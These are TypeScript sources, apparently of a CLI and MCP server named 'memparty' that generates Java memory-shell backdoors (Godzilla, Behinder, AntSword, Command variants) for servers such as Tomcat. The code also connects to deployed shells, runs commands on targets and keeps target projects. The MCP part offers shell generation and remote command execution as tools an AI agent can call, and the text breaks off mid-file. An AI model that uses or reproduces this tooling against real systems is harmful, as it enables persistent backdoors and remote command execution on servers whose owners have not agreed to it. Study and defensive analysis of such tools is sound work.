conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n };\n\n let result: ExecResult;\n switch (conn.tool) {\n case \"godzilla\": {\n const gdzOpts: GodzillaExecOptions = { ...common, os: opts.os };\n result = await execGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n opts.cmd!,\n gdzOpts,\n );\n break;\n }\n case \"behinder\":\n result = await execBehinder(conn.url, conn.pass ?? \"rebeyond\", opts.cmd!, common);\n break;\n default:\n process.stderr.write(\n `Error: exec supports godzilla | behinder (got ${String(conn.tool)})\\n`,\n );\n process.exitCode = 1;\n return;\n }\n\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: opts.cmd,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(result, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(result.output ?? \"\");\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitPayload } from \"../core/output.js\";\nimport { buildMemShellRequest, type MemShellOptions } from \"../core/request-builder.js\";\nimport { runMemShellWizard } from \"../wizard/memshell-wizard.js\";\n\ninterface GenCmdOptions extends GlobalOptions {\n server?: string;\n serverVersion?: string;\n tool?: string;\n type?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n behinderPass?: string;\n antswordPass?: string;\n commandParamName?: string;\n commandTemplate?: string;\n encryptor?: string;\n implementationClass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n shellClassFile?: string;\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"server\", \"tool\", \"type\", \"packer\"] as const;\n\nfunction toOptions(o: GenCmdOptions): MemShellOptions {\n let shellClassBase64 = o.shellClassBase64;\n if (o.shellClassFile) {\n shellClassBase64 = readFileSync(o.shellClassFile).toString(\"base64\");\n }\n return {\n server: o.server!,\n serverVersion: o.serverVersion,\n shellTool: o.tool!,\n shellType: o.type!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n probe: o.probe,\n shellClassName: o.shellClassName,\n godzillaPass: o.godzillaPass,\n godzillaKey: o.godzillaKey,\n behinderPass: o.behinderPass,\n antSwordPass: o.antswordPass,\n commandParamName: o.commandParamName,\n commandTemplate: o.commandTemplate,\n encryptor: o.encryptor,\n implementationClass: o.implementationClass,\n headerName: o.headerName,\n headerValue: o.headerValue,\n shellClassBase64,\n urlPattern: o.urlPattern,\n injectorClassName: o.injectorClassName,\n staticInitialize: o.staticInitialize,\n };\n}\n\nexport function registerGenCommand(program: Command): void {\n program\n .command(\"gen\")\n .alias(\"generate\")\n .description(\"Generate a memory shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-s, --server <server>\", \"target server, e.g. Tomcat\")\n .option(\"--server-version <v>\", \"target server version\")\n .option(\"-t, --tool <tool>\", \"shell tool, e.g. Godzilla, Behinder, Command\")\n .option(\"-y, --type <type>\", \"shell type, e.g. Listener, Filter, Servlet\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, Jar, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output in the payload\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--probe\", \"use echo/probe mode\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name (random if omitted)\")\n .option(\"--godzilla-pass <pass>\", \"Godzilla password\")\n .option(\"--godzilla-key <key>\", \"Godzilla key\")\n .option(\"--behinder-pass <pass>\", \"Behinder password\")\n .option(\"--antsword-pass <pass>\", \"AntSword password\")\n .option(\"--command-param-name <name>\", \"Command tool parameter name\")\n .option(\"--command-template <tpl>\", \"Command template ({command} placeholder)\")\n .option(\"--encryptor <name>\", \"Command encryptor\")\n .option(\"--implementation-class <name>\", \"Command implementation class\")\n .option(\"--header-name <name>\", \"auth header name\")\n .option(\"--header-value <value>\", \"auth header value\")\n .option(\"--shell-class-base64 <b64>\", \"custom shell class (base64) for the Custom tool\")\n .option(\"--shell-class-file <path>\", \"custom shell .class file for the Custom tool\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\")\n .option(\"--injector-class-name <name>\", \"explicit injector class name\")\n .option(\"--no-static-initialize\", \"disable injector static initialization (enabled by default)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty gen # interactive wizard\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key --jdk java8\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key -o shell.class\n $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\\\\n --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json\n\nNote: run 'memparty config' to list the available servers, tools, shell\ntypes and packers. Some packers (e.g. Base64) are aggregate packers that\nreturn several variants at once — pick a leaf packer (e.g. DefaultBase64)\nfor a single payload. The --json output includes the gate header\n(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.\n`,\n )\n .action(async (opts: GenCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let memOpts: MemShellOptions;\n if (wantWizard) {\n memOpts = await runMemShellWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n memOpts = toOptions(opts);\n }\n\n const request = buildMemShellRequest(memOpts);\n // safe summary for the op log — parameters only, never credentials\n const genMeta = {\n server: memOpts.server,\n serverVersion: memOpts.serverVersion,\n shellTool: memOpts.shellTool,\n shellType: memOpts.shellType,\n packer: memOpts.packer,\n jdk: memOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateMemShell(request);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: genMeta,\n });\n throw err;\n }\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta: genMeta,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(response, null, 2)}\\n`);\n return;\n }\n\n const r = response.memShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);\n\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n if (response.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n\n const result = emitPayload(response.packResult, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { writeFileSync } from \"node:fs\";\n\n/** File extensions whose payload is base64-encoded bytes and should be decoded. */\nconst BINARY_EXTENSIONS = [\".class\", \".jar\", \".zip\", \".ser\", \".bin\"];\n\nexport interface OutputOptions {\n /** Destination file path. When omitted, content goes to stdout. */\n outFile?: string;\n /** Force base64 decoding before writing (binary payload). */\n decode?: boolean;\n}\n\nexport interface OutputResult {\n /** Where the payload went: a file path, or \"stdout\". */\n destination: string;\n /** Number of bytes written (file) or characters printed (stdout). */\n size: number;\n /** Whether the payload was base64-decoded. */\n decoded: boolean;\n}\n\nfunction hasBinaryExtension(path: string): boolean {\n const lower = path.toLowerCase();\n return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));\n}\n\n/**\n * Decide whether a payload should be base64-decoded before writing.\n * Explicit `decode` wins; otherwise infer from the output file extension.\n */\nexport function shouldDecode(opts: OutputOptions): boolean {\n if (opts.decode !== undefined) return opts.decode;\n if (opts.outFile) return hasBinaryExtension(opts.outFile);\n return false;\n}\n\n/**\n * Emit a payload string either to a file or to stdout.\n * Uses injectable sinks so it can be unit-tested without touching the real fs/stdout.\n */\nexport function emitPayload(\n payload: string,\n opts: OutputOptions,\n sinks: {\n writeFile?: (path: string, data: Buffer | string) => void;\n writeStdout?: (data: string) => void;\n } = {},\n): OutputResult {\n const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));\n const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));\n const decoded = shouldDecode(opts);\n\n if (opts.outFile) {\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeFile(opts.outFile, buf);\n return { destination: opts.outFile, size: buf.length, decoded: true };\n }\n writeFile(opts.outFile, payload);\n return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };\n }\n\n // stdout\n if (decoded) {\n const buf = Buffer.from(payload, \"base64\");\n writeStdout(buf.toString(\"binary\"));\n return { destination: \"stdout\", size: buf.length, decoded: true };\n }\n writeStdout(payload.endsWith(\"\\n\") ? payload : `${payload}\\n`);\n return { destination: \"stdout\", size: payload.length, decoded: false };\n}\n","import { randomInt } from \"node:crypto\";\n\nimport type {\n MemShellGenerateRequest,\n ProbeShellGenerateRequest,\n} from \"../api/types.js\";\nimport { resolveJreVersion } from \"./jdk.js\";\n\n/**\n * Packers that require a randomised Spring expression injector class name.\n * Ported from web/app/utils/transformer.ts.\n */\nconst SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([\n \"SpEL\",\n \"SpELSpringGzipJDK17\",\n \"OGNL\",\n \"OGNLSpringGzipJDK17\",\n \"JXPath\",\n \"JXPathSpringGzipJDK17\",\n]);\n\nconst UPPERCASE_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\nconst CLASS_NAME_LETTERS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\nfunction randomChar(chars: string): string {\n return chars[randomInt(chars.length)];\n}\n\nfunction generateSpringExpressionInjectorClassName(): string {\n const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join(\"\");\n return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;\n}\n\n/** Flat option set for building a memshell request (from flags or the wizard). */\nexport interface MemShellOptions {\n server: string;\n serverVersion?: string;\n shellTool: string;\n shellType: string;\n packer: string;\n\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n commandParamName?: string;\n commandTemplate?: string;\n behinderPass?: string;\n antSwordPass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n encryptor?: string;\n implementationClass?: string;\n\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n}\n\nexport function buildMemShellRequest(opts: MemShellOptions): MemShellGenerateRequest {\n const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer)\n ? generateSpringExpressionInjectorClassName()\n : opts.injectorClassName;\n\n return {\n shellConfig: {\n server: opts.server,\n serverVersion: opts.serverVersion,\n shellTool: opts.shellTool,\n shellType: opts.shellType,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n lambdaSuffix: opts.lambdaSuffix,\n probe: opts.probe,\n },\n shellToolConfig: {\n shellClassName: opts.shellClassName,\n godzillaPass: opts.godzillaPass,\n godzillaKey: opts.godzillaKey,\n commandParamName: opts.commandParamName,\n commandTemplate: opts.commandTemplate,\n behinderPass: opts.behinderPass,\n antSwordPass: opts.antSwordPass,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n shellClassBase64: opts.shellClassBase64,\n encryptor: opts.encryptor,\n implementationClass: opts.implementationClass,\n },\n injectorConfig: {\n injectorClassName,\n urlPattern: opts.urlPattern,\n staticInitialize: opts.staticInitialize,\n },\n packer: opts.packer,\n };\n}\n\n/** Flat option set for building a probe request. */\nexport interface ProbeOptions {\n probeMethod: string;\n probeContent: string;\n packer: string;\n\n shellClassName?: string;\n jdk?: string | number;\n debug?: boolean;\n byPassJavaModule?: boolean;\n shrink?: boolean;\n staticInitialize?: boolean;\n lambdaSuffix?: boolean;\n\n host?: string;\n seconds?: number;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n}\n\nexport function buildProbeRequest(opts: ProbeOptions): ProbeShellGenerateRequest {\n return {\n probeConfig: {\n probeMethod: opts.probeMethod,\n probeContent: opts.probeContent,\n shellClassName: opts.shellClassName,\n targetJreVersion: resolveJreVersion(opts.jdk),\n debug: opts.debug,\n byPassJavaModule: opts.byPassJavaModule,\n shrink: opts.shrink,\n staticInitialize: opts.staticInitialize,\n lambdaSuffix: opts.lambdaSuffix,\n },\n probeContentConfig: {\n host: opts.host,\n seconds: opts.seconds,\n sleepServer: opts.sleepServer,\n server: opts.server,\n reqParamName: opts.reqParamName,\n commandTemplate: opts.commandTemplate,\n },\n packer: opts.packer,\n };\n}\n","/** Maps friendly JDK names to Java class-file major versions. */\nexport const JDK_VERSIONS: Record<string, number> = {\n java6: 50,\n java8: 52,\n java9: 53,\n java11: 55,\n java17: 61,\n java21: 65,\n};\n\n/**\n * Resolve a user-supplied JDK value into a class-file major version number.\n * Accepts friendly names (\"java8\", \"8\"), or a raw major version (\"52\").\n */\nexport function resolveJreVersion(input: string | number | undefined): number | undefined {\n if (input === undefined || input === \"\") return undefined;\n\n if (typeof input === \"number\") return input;\n\n const normalized = input.trim().toLowerCase();\n\n // Friendly name, e.g. \"java8\"\n if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];\n\n // Bare java number, e.g. \"8\" -> java8\n const withPrefix = `java${normalized}`;\n if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];\n\n // Raw class-file major version, e.g. \"52\"\n const num = Number(normalized);\n if (Number.isInteger(num) && num > 0) return num;\n\n throw new Error(\n `Invalid JDK version \"${input}\". Use one of: ${Object.keys(JDK_VERSIONS).join(\", \")}, or a class-file major version like 52.`,\n );\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { checkbox, confirm, input, select, Separator } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { MemShellOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({\n name: `${name} (${major})`,\n value: name,\n })),\n];\n\nfunction packerChoices(tree: { name: string; children: string[] }[]) {\n const choices: (Separator | { name: string; value: string })[] = [];\n for (const parent of tree) {\n choices.push(new Separator(`── ${parent.name} ──`));\n choices.push({ name: parent.name, value: parent.name });\n for (const child of parent.children) {\n choices.push({ name: ` ${child}`, value: child });\n }\n }\n return choices;\n}\n\n/** Drive an interactive prompt flow, returning options for buildMemShellRequest. */\nexport async function runMemShellWizard(client: MemPartyClient): Promise<MemShellOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n\n const server = await select({\n message: \"Target server\",\n choices: Object.keys(config).map((s) => ({ name: s, value: s })),\n });\n\n const tools = Object.keys(config[server]);\n const shellTool = await select({\n message: \"Shell tool\",\n choices: tools.map((t) => ({ name: t, value: t })),\n });\n\n const shellType = await select({\n message: \"Shell type\",\n choices: config[server][shellTool].map((t) => ({ name: t, value: t })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerChoices(packerTree),\n });\n\n const opts: MemShellOptions = { server, shellTool, shellType, packer };\n\n // Tool-specific configuration.\n switch (shellTool) {\n case \"Godzilla\":\n opts.godzillaPass = await input({ message: \"Godzilla pass\", default: \"pass\" });\n opts.godzillaKey = await input({ message: \"Godzilla key\", default: \"key\" });\n break;\n case \"Behinder\":\n opts.behinderPass = await input({ message: \"Behinder pass\", default: \"rebeyond\" });\n break;\n case \"AntSword\":\n opts.antSwordPass = await input({ message: \"AntSword pass\", default: \"ant\" });\n break;\n case \"Command\": {\n opts.commandParamName = await input({ message: \"Command param name\", default: \"cmd\" });\n const cc = await client.getCommandConfigs();\n opts.encryptor = await select({\n message: \"Encryptor\",\n choices: cc.encryptors.map((e) => ({ name: e, value: e })),\n });\n opts.implementationClass = await select({\n message: \"Implementation class\",\n choices: cc.implementationClasses.map((e) => ({ name: e, value: e })),\n });\n const template = await input({ message: \"Command template (optional, {command} placeholder)\", default: \"\" });\n if (template) opts.commandTemplate = template;\n break;\n }\n case \"Custom\": {\n const file = await input({ message: \"Path to custom .class file\" });\n opts.shellClassBase64 = readFileSync(file).toString(\"base64\");\n break;\n }\n default:\n break;\n }\n\n // Common header config (used by several tools).\n opts.headerName = await input({ message: \"Header name\", default: \"User-Agent\" });\n const headerValue = await input({ message: \"Header value (optional)\", default: \"\" });\n if (headerValue) opts.headerValue = headerValue;\n\n const shellClassName = await input({ message: \"Shell class name (optional, random if empty)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n opts.urlPattern = await input({ message: \"URL pattern\", default: \"/*\" });\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });\n if (!confirmed) {\n throw new Error(\"Cancelled by user.\");\n }\n\n return opts;\n}\n","import { Command, Option } from \"commander\";\n\nimport { formatOp, opLogPath, readOps, type OpCategory } from \"../core/oplog.js\";\n\ninterface LogCmdOptions {\n category?: OpCategory;\n target?: string;\n limit?: string;\n json?: boolean;\n}\n\nexport function registerLogCommand(program: Command): void {\n program\n .command(\"log\")\n .description(\"Show the global operation log (every gen/probe/connect/exec/target op)\")\n .addOption(\n new Option(\"--category <name>\", \"filter by operation category\").choices([\n \"gen\",\n \"probe\",\n \"connect\",\n \"exec\",\n \"target\",\n ]),\n )\n .option(\n \"--target <name>\",\n \"filter by target: project name, project/shell, or a URL substring (e.g. host)\",\n )\n .option(\"--limit <n>\", \"max entries (default 50)\", \"50\")\n .option(\"--json\", \"output raw JSON entries (newest first)\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty log # latest 50 operations\n $ memparty log --category exec # only command executions\n $ memparty log --target hw222 # everything against project hw222\n $ memparty log --category exec --target 192.168.31.222 --json\n`,\n )\n .action((opts: LogCmdOptions) => {\n const limit = Number.parseInt(opts.limit ?? \"50\", 10);\n const entries = readOps({\n category: opts.category,\n target: opts.target,\n limit: Number.isNaN(limit) ? 50 : limit,\n });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ logPath: opLogPath(), entries }, null, 2)}\\n`);\n return;\n }\n if (entries.length === 0) {\n process.stdout.write(`no operations logged yet (log: ${opLogPath()})\\n`);\n return;\n }\n for (const entry of entries) {\n process.stdout.write(`${formatOp(entry)}\\n`);\n }\n });\n}\n","import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";\nimport { z } from \"zod\";\n\nimport { MemPartyClient } from \"../api/client.js\";\nimport { execBehinder, testBehinder } from \"../connect/behinder.js\";\nimport { execGodzilla, testGodzilla } from \"../connect/godzilla.js\";\nimport { testSuo5 } from \"../connect/suo5.js\";\nimport type { ConnectTestResult, ExecResult } from \"../connect/types.js\";\nimport { logOp, opLogPath, readOps, truncateOutput, type OpCategory } from \"../core/oplog.js\";\nimport {\n listProjects,\n removeProject,\n removeShell,\n resolveConnection,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n} from \"../core/targets.js\";\nimport { buildMemShellRequest } from \"../core/request-builder.js\";\nimport { buildProbeRequest } from \"../core/request-builder.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\nfunction jsonContent(data: unknown) {\n return { content: [{ type: \"text\" as const, text: JSON.stringify(data, null, 2) }] };\n}\n\nfunction errorContent(err: unknown) {\n return {\n isError: true,\n content: [{ type: \"text\" as const, text: `Error: ${(err as Error).message}` }],\n };\n}\n\nconst memShellInput = {\n server: z.string().describe(\"Target server, e.g. Tomcat\"),\n serverVersion: z.string().optional(),\n shellTool: z.string().describe(\"Shell tool, e.g. Godzilla, Behinder, Command\"),\n shellType: z.string().describe(\"Shell type, e.g. Listener, Filter, Servlet\"),\n packer: z.string().describe(\"Packer, e.g. Base64, Jar, JSP\"),\n jdk: z.string().optional().describe(\"java6/8/9/11/17/21 or class-file major version\"),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n probe: z.boolean().optional(),\n shellClassName: z.string().optional(),\n godzillaPass: z.string().optional(),\n godzillaKey: z.string().optional(),\n behinderPass: z.string().optional(),\n antSwordPass: z.string().optional(),\n commandParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n encryptor: z.string().optional(),\n implementationClass: z.string().optional(),\n headerName: z.string().optional(),\n headerValue: z.string().optional(),\n shellClassBase64: z.string().optional(),\n urlPattern: z.string().optional(),\n injectorClassName: z.string().optional(),\n staticInitialize: z.boolean().optional(),\n};\n\nconst probeInput = {\n probeMethod: z.enum([\"ResponseBody\", \"DNSLog\", \"Sleep\"]),\n probeContent: z.string().describe(\"BasicInfo, Server, OS, JDK, Bytecode, Command\"),\n packer: z.string(),\n jdk: z.string().optional(),\n debug: z.boolean().optional(),\n byPassJavaModule: z.boolean().optional(),\n shrink: z.boolean().optional(),\n lambdaSuffix: z.boolean().optional(),\n staticInitialize: z.boolean().optional(),\n shellClassName: z.string().optional(),\n host: z.string().optional(),\n seconds: z.number().optional(),\n sleepServer: z.string().optional(),\n server: z.string().optional(),\n reqParamName: z.string().optional(),\n commandTemplate: z.string().optional(),\n};\n\nconst connectInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\", \"suo5\"])\n .optional()\n .describe(\"shell tool to test (or taken from the saved target)\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n suo5Mode: z\n .enum([\"auto\", \"v2\", \"v1\"])\n .optional()\n .describe(\"suo5 protocol variant (default: auto)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\nconst execInput = {\n name: z\n .string()\n .optional()\n .describe(\n \"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) — \" +\n \"when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)\",\n ),\n url: z.string().optional().describe(\"URL of the deployed shell (or pass `name`)\"),\n tool: z\n .enum([\"godzilla\", \"behinder\"])\n .optional()\n .describe(\"shell tool to execute through (or taken from the saved target)\"),\n command: z.string().describe(\"command line to execute on the target\"),\n pass: z\n .string()\n .optional()\n .describe(\"password (godzilla default: pass; behinder default: rebeyond)\"),\n key: z.string().optional().describe(\"godzilla key (default: key)\"),\n os: z\n .enum([\"auto\", \"windows\", \"linux\"])\n .optional()\n .describe(\n \"godzilla only: remote OS for the shell wrapper (default: auto — one extra request to detect; behinder detects the OS inside its payload)\",\n ),\n headerName: z\n .string()\n .optional()\n .describe(\"gate header name from generate_memshell shellToolConfig (usually User-Agent)\"),\n headerValue: z\n .string()\n .optional()\n .describe(\"gate header value from generate_memshell shellToolConfig — required for MemShellParty shells\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n timeoutMs: z.number().optional().describe(\"request timeout in milliseconds (default 30000)\"),\n};\n\nconst targetSaveInput = {\n project: z.string().describe(\"project name (created when missing)\"),\n shell: z.string().describe(\"shell name inside the project\"),\n url: z.string().describe(\"URL of the deployed shell\"),\n tool: z.enum([\"godzilla\", \"behinder\", \"suo5\"]).describe(\"shell tool\"),\n pass: z.string().optional().describe(\"password\"),\n key: z.string().optional().describe(\"godzilla key\"),\n headerName: z.string().optional().describe(\"gate header name (shellToolConfig.headerName)\"),\n headerValue: z.string().optional().describe(\"gate header value (shellToolConfig.headerValue)\"),\n insecure: z.boolean().optional().describe(\"skip TLS certificate verification\"),\n projectRemark: z.string().optional().describe(\"project remark (merged into the project)\"),\n projectCategory: z.string().optional().describe(\"project category (merged into the project)\"),\n shellRemark: z.string().optional().describe(\"remark for this shell\"),\n};\n\nexport function createMcpServer(client: MemPartyClient): McpServer {\n const server = new McpServer({ name: \"memshell-party\", version: CLI_VERSION });\n\n server.registerTool(\n \"list_servers\",\n { title: \"List servers\", description: \"List supported servers and their shell types\" },\n async () => {\n try {\n return jsonContent(await client.getServers());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_config\",\n {\n title: \"List full config\",\n description: \"List every server's shell tools and their supported shell types\",\n },\n async () => {\n try {\n return jsonContent(await client.getConfig());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_packers\",\n { title: \"List packers\", description: \"List packers as a parent/child tree\" },\n async () => {\n try {\n return jsonContent(await client.getPackerTree());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"list_command_configs\",\n {\n title: \"List command configs\",\n description: \"List Command-tool encryptors and implementation classes\",\n },\n async () => {\n try {\n return jsonContent(await client.getCommandConfigs());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_memshell\",\n { title: \"Generate memory shell\", description: \"Generate a Java memory shell payload\", inputSchema: memShellInput },\n async (args) => {\n const meta = {\n server: args.server,\n serverVersion: args.serverVersion,\n shellTool: args.shellTool,\n shellType: args.shellType,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateMemShell(buildMemShellRequest(args));\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(response);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"generate_probe\",\n { title: \"Generate probe shell\", description: \"Generate a probe/detection shell payload\", inputSchema: probeInput },\n async (args) => {\n const meta = {\n probeMethod: args.probeMethod,\n probeContent: args.probeContent,\n packer: args.packer,\n jdk: args.jdk,\n };\n const started = Date.now();\n try {\n const response = await client.generateProbe(buildProbeRequest(args));\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: 